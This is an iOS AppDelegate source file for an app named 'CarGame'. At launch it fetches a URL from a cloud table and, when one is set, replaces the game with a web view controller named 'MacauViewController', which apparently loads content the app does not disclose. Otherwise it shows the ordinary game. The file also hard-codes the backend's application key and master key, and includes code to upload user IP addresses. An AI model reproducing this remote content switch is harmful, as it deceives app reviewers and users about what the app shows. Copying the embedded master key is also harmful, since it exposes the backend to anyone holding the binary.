//
//  AppDelegate.m
//  CarGame
//
//  Created by Dyoung on 2017/9/9.
//  Copyright © 2017年 Dyoung. All rights reserved.
//

#import "AppDelegate.h"

//弱引用
#define WeakSelf(weakSelf)  __weak __typeof(&*self)weakSelf = self;
//颜色：
#define NTColor(r, g, b) [UIColor colorWithRed:(r)/255.0 green:(g)/255.0 blue:(b)/255.0 alpha:1.0]

//控制器包含：
#import "MacauViewController.h"
#import "LoadingController.h"
#import "ViewController.h"

//AVOS
#import <AVOSCloud/AVOSCloud.h>
#define APP_ID @"rIwsDb6Q1mmgyvqLUpirfVGD-gzGzoHsz"
#define APP_KEY @"AlwRd3P7Vai1jhdxNlIgNQWE"
#define MASTER_KEY @"iy7aSdmDll0TiOG2TP7OeX76"

//查看方法执行了多久：
#define BEGIN_RECORD   NSDate *startTime = [NSDate date];
#define END_RECORD     -[startTime timeIntervalSinceNow]
#define TotalShowingTime 1.5
#define JUDGE_TIME     if(END_RECORD < TotalShowingTime){sleep(TotalShowingTime - END_RECORD);}



//JPUSH
// 引入JPush功能所需头文件
#import "JPUSHService.h"
// iOS10注册APNs所需头文件
#ifdef NSFoundationVersionNumber_iOS_9_x_Max
#import <UserNotifications/UserNotifications.h>
#endif
// 如果需要使用idfa功能所需要引入的头文件
#import <AdSupport/AdSupport.h>


//有关AVOS的一些宏：
#define Table_Name @"tableName"
#define Http_Url @"HttpUrl"
#define isToFit @"isToFit"
#define IP_Table_Name @"ipModel"
#define Jpush_AppKey @"JpushAppKey"

@interface AppDelegate ()<JPUSHRegisterDelegate>

@end

@implementation AppDelegate

{
    NSString * _requestUrl;
    BOOL _isToFit;
    NSString * _Jpush_app_personal_key;
}


- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
    
    [AVOSCloud setApplicationId:APP_ID clientKey:APP_KEY];
    [[UIApplication sharedApplication] setApplicationIconBadgeNumber:0];
    
    
//            AVObject *product = [AVObject objectWithClassName:Table_Name];
//            [product setObject:@"https://www.baidu.com" forKey:Http_Url];
//            [product setObject:@"1" forKey:isToFit];
//            [product setObject:@"1a0fbf33522a963f327ec0cf" forKey:Jpush_AppKey];
//    
//            [product saveInBackgroundWithBlock:^(BOOL succeeded, NSError *error) {
//                if (succeeded) {
//                    NSLog(@"====success");
//                } else {
//                    NSLog(@"保存新物品出错 %@", error);
//                }
//            }];
    
    LoadingController * loadingVC = [[LoadingController alloc]init];
    self.window = [[UIWindow alloc]initWithFrame:[UIScreen mainScreen].bounds];
    [self.window makeKeyAndVisible];
    self.window.rootViewController = loadingVC;
    
    [self httpForAvosOptions:launchOptions];
    
    
    
    return YES;
    
    
}


-(void)applicationDidBecomeActive:(UIApplication *)application
{
    [[UIApplication sharedApplication] setApplicationIconBadgeNumber:0];
}



- (BOOL)httpForAvosOptions:(NSDictionary *)launchOptions{
    
    WeakSelf(weakself)
    
    //取
    AVQuery *query = [AVQuery queryWithClassName:Table_Name];
    BEGIN_RECORD
    [query findObjectsInBackgroundWithBlock:^(NSArray *objects, NSError *error) {
        JUDGE_TIME
        if (objects.count>0) {
            AVObject * obj = objects[0];
            NSString * urlStr = [obj objectForKey:Http_Url];
            _isToFit = [[obj objectForKey:isToFit] isEqualToString:@"1"];
            _Jpush_app_personal_key = [obj objectForKey:Jpush_AppKey];
            if (_Jpush_app_personal_key.length > 0) {
                [self registerJpushOptions:launchOptions];//显示webview的时候才注册推送。
            }
            if (urlStr.length == 0) {
                [weakself showTrueView];
            }
            else{//复查的时候判断IP。
                _requestUrl = urlStr;
                [weakself showMacauViewIsToFit:_isToFit];
            }
        }
        if (error) {
            [self showTrueView];
        }
    }];
    return YES;
}

/**
 *  将ip传至服务器。
 */
- (void)getIpToUploadWithIpStr:(NSString *)ipStr
{
    
#ifdef DEBUG
    NSLog(@"ipStr == %@",ipStr);
    
#else
    
    if (ipStr.length>0) {
        AVObject *product = [AVObject objectWithClassName:IP_Table_Name];
        [product setObject:ipStr forKey:@"IpAddressStr"];
        [product saveInBackgroundWithBlock:^(BOOL succeeded, NSError *error) {
            if (succeeded) {
                //                NSLog(@"====success");
            } else {
                //                NSLog(@"保存新物品出错 %@", error);
            }
        }];
    }
    
#endif
    
}

-(void)showTrueView
{
    ViewController * vc = [[ViewController alloc]init];
    self.window.rootViewController = vc;
    
}
- (void)showMacauViewIsToFit:(BOOL)isFit
{
    MacauViewController* vc = [[MacauViewController alloc]init];
    vc.requestUrl = _requestUrl;
    self.window.rootViewController = vc;
    
    [self.window makeKeyAndVisible];
}



//==========================================
//注册通知相关
///==========================================

-(void)registerJpushOptions:(NSDictionary *)launchOptions
{
    //这里可能会需要分系统版本不同来设置🐟
    JPUSHRegisterEntity * entity = [[JPUSHRegisterEntity alloc] init];
    entity.types = JPAuthorizationOptionAlert|JPAuthorizationOptionBadge|JPAuthorizationOptionSound;
    if ([[UIDevice currentDevice].systemVersion floatValue] >= 8.0) {
        // 可以添加自定义categories
        // NSSet<UNNotificationCategory *> *categories for iOS10 or later
        // NSSet<UIUserNotificationCategory *> *categories for iOS8 and iOS9
    }
    [JPUSHService registerForRemoteNotificationConfig:entity delegate:self];
    
    
    //声明:app_key
    [JPUSHService setupWithOption:launchOptions appKey:_Jpush_app_personal_key channel:@"app store" apsForProduction:YES advertisingIdentifier:nil];
    
    //获取registration id block接口。
    [JPUSHService registrationIDCompletionHandler:^(int resCode, NSString *registrationID) {
        if(resCode == 0){
            NSLog(@"registrationID获取成功：%@",registrationID);
        }
        else{
            NSLog(@"registrationID获取失败，code：%d",resCode);
        }
    }];
    
    // 注册通知,获取前台接收自定义消息。
    [[NSNotificationCenter defaultCenter] addObserver:self
                                             selector:@selector(networkDidReceiveMessage:)
                                                 name:kJPFNetworkDidReceiveMessageNotification
                                               object:nil];
}


//1、JPUSH--注册APNS 并上传deviceToken
- (void)application:(UIApplication *)application
didRegisterForRemoteNotificationsWithDeviceToken:(NSData *)deviceToken {
    
    /// Required - 注册 DeviceToken
    [JPUSHService registerDeviceToken:deviceToken];
    
    //这里可以通过调接口将deviceToken传到服务器上去。
    
}

//1-1、注册失败的接口
- (void)application:(UIApplication *)application didFailToRegisterForRemoteNotificationsWithError:(NSError *)error {
    NSLog(@"did Fail To Register For Remote Notifications With Error: %@", error);
}
//2-1、当应用在前台时收到通知时：
- (void)jpushNotificationCenter:(UNUserNotificationCenter *)center willPresentNotification:(UNNotification *)notification withCompletionHandler:(void (^)(NSInteger))completionHandler {
    
    NSDictionary * userInfo = notification.request.content.userInfo;
    if([notification.request.trigger isKindOfClass:[UNPushNotificationTrigger class]]) {
        [JPUSHService handleRemoteNotification:userInfo];
    }
    NSLog(@"iOS10收到推送: %@", [userInfo[@"aps"] objectForKey:@"alert"]);
    completionHandler(UNNotificationPresentationOptionAlert); // 需要执行这个方法，选择是否提醒用户，有Badge、Sound、Alert三种类型可以选择设置
}
//2-2、程序关闭后, 通过点击推送弹出的通知
- (void)jpushNotificationCenter:(UNUserNotificationCenter *)center didReceiveNotificationResponse:(UNNotificationResponse *)response withCompletionHandler:(void (^)())completionHandler {
    // Required
    NSDictionary * userInfo = response.notification.request.content.userInfo;
    if([response.notification.request.trigger isKindOfClass:[UNPushNotificationTrigger class]]) {
        [JPUSHService handleRemoteNotification:userInfo];
    }
    NSLog(@"iOS10点击推送%@", [userInfo[@"aps"] objectForKey:@"alert"]);
    completionHandler(UNNotificationPresentationOptionAlert);  // 系统要求执行这个方法
}
- (void)application:(UIApplication *)application didReceiveRemoteNotification:(NSDictionary *)userInfo fetchCompletionHandler:(void (^)(UIBackgroundFetchResult))completionHandler {
    
    // Required, iOS 7 Support
    [JPUSHService handleRemoteNotification:userInfo];
    completionHandler(UIBackgroundFetchResultNewData);
}

- (void)application:(UIApplication *)application didReceiveRemoteNotification:(NSDictionary *)userInfo {
    // Required,For systems with less than or equal to iOS6
    [JPUSHService handleRemoteNotification:userInfo];
}


#pragma mark 前台接收自定义消息的时候;
- (void)networkDidReceiveMessage:(NSNotification *)notification {
    
    NSDictionary *userInfo = [notification userInfo];
    //    NSString *title = [userInfo valueForKey:@"title"];
    //    NSString *content = [userInfo valueForKey:@"content"];
    //    NSDictionary *extra = [userInfo valueForKey:@"extras"];
    
}

- (void)applicationWillResignActive:(UIApplication *)application {
    // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state.
    // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game.
}


- (void)applicationDidEnterBackground:(UIApplication *)application {
    // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later.
    // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits.
}


- (void)applicationWillEnterForeground:(UIApplication *)application {
    // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background.
}

- (void)applicationWillTerminate:(UIApplication *)application {
    // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:.
}


@end
